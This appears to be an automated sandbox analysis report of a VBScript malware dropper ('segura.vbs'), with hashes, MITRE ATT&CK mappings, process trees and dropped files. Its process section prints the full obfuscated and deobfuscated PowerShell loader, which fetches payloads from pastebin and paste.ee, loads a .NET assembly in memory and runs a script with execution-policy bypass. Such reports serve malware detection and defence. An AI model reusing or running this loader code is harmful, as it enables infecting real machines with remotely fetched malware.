cdff410d32d5b177320f80eb8bc6be51de994bd11cc17e7013ae400e1947ca6f

General

Target

segura.vbs
Size

1.9MB
MD5

753a9d435fdf6803ca970ba23d3dfe0d
SHA1

03aa37de89660b8d2fd9ef5aabc61a83a7f410c8
SHA256

cdff410d32d5b177320f80eb8bc6be51de994bd11cc17e7013ae400e1947ca6f
SHA512

426a53f1003bd48f4933266eecfeedfe74ea374a50b1b9ff2d969dc0333e4a9370ccb75640e08bcd0e93a3b2e9d0bbf60a5ed7fc117fef79e1f54f53c9a44c6a
SSDEEP

192:dG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4l:XQb7SOE9Cm6wn

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://pastebin.com/raw/Adv9gBHa

exe.dropper

https://pastebin.com/raw/Adv9gBHa

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2892	powershell.exe
7	2892	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2344	powershell.exe
2892	powershell.exe
2968	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	pastebin.com
5	pastebin.com

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2344	powershell.exe
2892	powershell.exe
2968	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2344	powershell.exe
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeDebugPrivilege	2968	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2544 wrote to memory of 2344	2544	WScript.exe	31
PID 2544 wrote to memory of 2344	2544	WScript.exe	31
PID 2544 wrote to memory of 2344	2544	WScript.exe	31
PID 2344 wrote to memory of 2892	2344	powershell.exe	33
PID 2344 wrote to memory of 2892	2344	powershell.exe	33
PID 2344 wrote to memory of 2892	2344	powershell.exe	33
PID 2892 wrote to memory of 2968	2892	powershell.exe	34
PID 2892 wrote to memory of 2968	2892	powershell.exe	34
PID 2892 wrote to memory of 2968	2892	powershell.exe	34

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\segura.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT★Hk★cwB0★GU★bQ★u★E4★ZQB0★C4★UwBl★HI★dgBp★GM★ZQBQ★G8★aQBu★HQ★TQBh★G4★YQBn★GU★cgBd★Do★OgBT★GU★YwB1★HI★aQB0★Hk★U★By★G8★d★Bv★GM★bwBs★C★★PQ★g★Fs★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★FM★ZQBj★HU★cgBp★HQ★eQBQ★HI★bwB0★G8★YwBv★Gw★V★B5★H★★ZQBd★Do★OgBU★Gw★cw★x★DI★Ow★k★Ho★RgBL★GE★QQ★g★D0★I★★n★Gg★d★B0★H★★cw★6★C8★LwBw★GE★cwB0★GU★YgBp★G4★LgBj★G8★bQ★v★HI★YQB3★C8★QQBk★HY★OQBn★EI★S★Bh★Cc★I★★7★CQ★SQBl★H★★RwBR★C★★PQ★g★Cg★I★Bb★FM★eQBz★HQ★ZQBt★C4★SQBP★C4★U★Bh★HQ★a★Bd★Do★OgBH★GU★d★BU★GU★bQBw★F★★YQB0★Gg★K★★p★C★★Kw★g★Cc★Z★Bs★Gw★M★★x★C4★d★B4★HQ★Jw★p★Ds★J★B3★GU★YgBD★Gw★aQBl★G4★d★★g★D0★I★BO★GU★dw★t★E8★YgBq★GU★YwB0★C★★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★Fc★ZQBi★EM★b★Bp★GU★bgB0★C★★Ow★k★FI★VgBV★Fg★dg★g★D0★I★★k★Hc★ZQBi★EM★b★Bp★GU★bgB0★C4★R★Bv★Hc★bgBs★G8★YQBk★FM★d★By★Gk★bgBn★Cg★I★★k★Ho★RgBL★GE★QQ★g★Ck★I★★7★CQ★UgBW★FU★W★B2★C★★f★★g★E8★dQB0★C0★RgBp★Gw★ZQ★g★C0★RgBp★Gw★ZQBQ★GE★d★Bo★C★★J★BJ★GU★c★BH★FE★I★★t★EU★bgBj★G8★Z★Bp★G4★Zw★g★Cc★VQBU★EY★O★★n★C★★LQBm★G8★cgBj★GU★I★★7★CQ★UwBU★GY★RwBs★C★★PQ★g★Cg★I★Bb★FM★eQBz★HQ★ZQBt★C4★SQBP★C4★U★Bh★HQ★a★Bd★Do★OgBH★GU★d★BU★GU★bQBw★F★★YQB0★Gg★K★★p★C★★Kw★g★Cc★Z★Bs★Gw★M★★y★C4★d★B4★HQ★Jw★p★C★★Ow★k★F★★a★By★Gw★Tg★g★D0★I★BO★GU★dw★t★E8★YgBq★GU★YwB0★C★★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★Fc★ZQBi★EM★b★Bp★GU★bgB0★C★★Ow★k★F★★a★By★Gw★Tg★u★EU★bgBj★G8★Z★Bp★G4★Zw★g★D0★I★Bb★FM★eQBz★HQ★ZQBt★C4★V★Bl★Hg★d★★u★EU★bgBj★G8★Z★Bp★G4★ZwBd★Do★OgBV★FQ★Rg★4★C★★Ow★k★EQ★S★B6★FU★QQ★g★C★★PQ★g★Cg★I★BH★GU★d★★t★EM★bwBu★HQ★ZQBu★HQ★I★★t★F★★YQB0★Gg★I★★k★Ek★ZQBw★Ec★UQ★g★Ck★I★★7★CQ★dQBU★Gw★S★B6★C★★PQ★g★CQ★U★Bo★HI★b★BO★C4★R★Bv★Hc★bgBs★G8★YQBk★FM★d★By★Gk★bgBn★Cg★I★★k★EQ★S★B6★FU★QQ★g★Ck★I★★7★CQ★dQBU★Gw★S★B6★C★★f★★g★E8★dQB0★C0★RgBp★Gw★ZQ★g★C0★RgBp★Gw★ZQBQ★GE★d★Bo★C★★J★BT★FQ★ZgBH★Gw★I★★t★GY★bwBy★GM★ZQ★g★Ds★J★BN★E8★R★BS★Gc★I★★9★C★★I★★n★CQ★cgB5★GE★ZQBH★C★★PQ★g★Cg★RwBl★HQ★LQBD★G8★bgB0★GU★bgB0★C★★LQBQ★GE★d★Bo★C★★Jw★n★Cc★I★★r★C★★J★BT★FQ★ZgBH★Gw★I★★r★C★★Jw★n★Cc★I★★t★EU★bgBj★G8★Z★Bp★G4★Zw★g★FU★V★BG★Dg★KQ★7★Cc★I★★7★CQ★TQBP★EQ★UgBn★C★★Kw★9★C★★JwBb★EI★eQB0★GU★WwBd★F0★I★★k★EY★eQBm★GQ★eg★g★D0★I★Bb★HM★eQBz★HQ★ZQBt★C4★QwBv★G4★dgBl★HI★d★Bd★Do★OgBG★HI★bwBt★EI★YQBz★GU★Ng★0★FM★d★By★Gk★bgBn★Cg★I★★k★HI★eQBh★GU★Rw★u★HI★ZQBw★Gw★YQBj★GU★K★★n★Cc★J★★k★CQ★J★★n★Cc★L★★n★Cc★QQ★n★Cc★KQ★g★Ck★I★★7★Cc★I★★7★CQ★TQBP★EQ★UgBn★C★★Kw★9★C★★JwBb★FM★eQBz★HQ★ZQBt★C4★QQBw★H★★R★Bv★G0★YQBp★G4★XQ★6★Cc★I★★r★C★★Jw★6★EM★dQBy★HI★ZQBu★HQ★R★Bv★G0★YQBp★G4★LgBM★G8★YQBk★Cg★I★★k★EY★eQBm★GQ★eg★g★Ck★Lg★n★C★★Ow★k★E0★TwBE★FI★Zw★g★Cs★PQ★g★Cc★RwBl★HQ★V★B5★H★★ZQ★o★C★★Jw★n★FQ★ZQBo★HU★b★Bj★Gg★ZQBz★Fg★e★BY★Hg★e★★u★EM★b★Bh★HM★cw★x★Cc★Jw★g★Ck★LgBH★GU★d★BN★Cc★I★★7★CQ★TQBP★EQ★UgBn★C★★Kw★9★C★★JwBl★HQ★a★Bv★GQ★K★★g★Cc★JwBN★HM★cQBC★Ek★YgBZ★Cc★Jw★g★Ck★LgBJ★G4★dgBv★Gs★ZQ★o★C★★J★Bu★HU★b★Bs★C★★L★★g★Fs★bwBi★Go★ZQBj★HQ★WwBd★F0★I★★o★C★★Jw★n★D★★LwBV★Fg★VQBW★Dc★LwBk★C8★ZQBl★C4★ZQB0★HM★YQBw★C8★Lw★6★HM★c★B0★HQ★a★★n★Cc★I★★s★C★★Jw★n★CU★SgBr★FE★YQBz★EQ★ZgBn★HI★V★Bn★CU★Jw★n★C★★L★★g★Cc★JwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★LQ★t★C0★LQ★t★C0★LQ★n★Cc★L★★g★Cc★Jw★w★Cc★Jw★s★C★★Jw★n★DE★Jw★n★Cw★I★★n★Cc★UgBv★GQ★YQ★n★Cc★I★★g★Ck★I★★p★C★★Ow★n★C★★Ow★k★FY★QgBX★Fc★eg★g★D0★I★★o★C★★WwBT★Hk★cwB0★GU★bQ★u★Ek★Tw★u★F★★YQB0★Gg★XQ★6★Do★RwBl★HQ★V★Bl★G0★c★BQ★GE★d★Bo★Cg★KQ★g★Cs★I★★n★GQ★b★Bs★D★★Mw★u★H★★cw★x★Cc★I★★p★C★★Ow★k★E0★TwBE★FI★Zw★g★Hw★I★BP★HU★d★★t★EY★aQBs★GU★I★★t★EY★aQBs★GU★U★Bh★HQ★a★★g★CQ★VgBC★Fc★VwB6★C★★I★★t★GY★bwBy★GM★ZQ★g★Ds★c★Bv★Hc★ZQBy★HM★a★Bl★Gw★b★★g★C0★RQB4★GU★YwB1★HQ★aQBv★G4★U★Bv★Gw★aQBj★Hk★I★BC★Hk★c★Bh★HM★cw★g★C0★RgBp★Gw★ZQ★g★CQ★VgBC★Fc★VwB6★C★★Ow★=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('★','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\Admin\AppData\Local\Temp\segura.vbs');powershell $Yolopolhggobek;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2344
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/Adv9gBHa' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''TehulchesXxXxx.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''0/UXUV7/d/ee.etsap//:sptth'' , ''C:\Users\Admin\AppData\Local\Temp\segura.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2892
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\dll03.ps1
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\dll02.txt

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\Users\Admin\AppData\Local\Temp\dll03.ps1

Filesize
942B

MD5
d9898296540612c96776cc5497292681

SHA1
0c5f5168c7df55ec35c1528ef7a782de0861d616

SHA256
19ea2bcd08fc915f8dcedee0c71dd3427066f1d93edb2bd3b27054b371cc2629

SHA512
5e5dcdb9e9d65ca53f533361c6a469561469703f9a95d197b81b7b1a0f53bb9e209f02e20fca48805073697c3226c3e61f5481bedea744967cf3c415bd43ff88

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
53b75e8d766d416b2a533f7650efeda3

SHA1
865969cc961e7686165fd0d866281dbc5ed3f404

SHA256
57898275e0b024c68d2ab9eb75ec2d7b07fcae61477f8d25f86224d65e5fc97a

SHA512
2a5dedb433f75a918b6b5a82a6c833e214088a712bf0e45167e750b48d67bf47ecdef6de843dc21eb4423ca1b4e6d42cabe46eb0da390016e94ea639acafdddc

Download Submit
memory/2344-4-0x000007FEF55AE000-0x000007FEF55AF000-memory.dmp

Filesize
4KB

Download
memory/2344-5-0x000000001B7A0000-0x000000001BA82000-memory.dmp

Filesize
2.9MB

Download
memory/2344-6-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/2344-12-0x000007FEF52F0000-0x000007FEF5C8D000-memory.dmp

Filesize
9.6MB

Download
memory/2344-24-0x000007FEF52F0000-0x000007FEF5C8D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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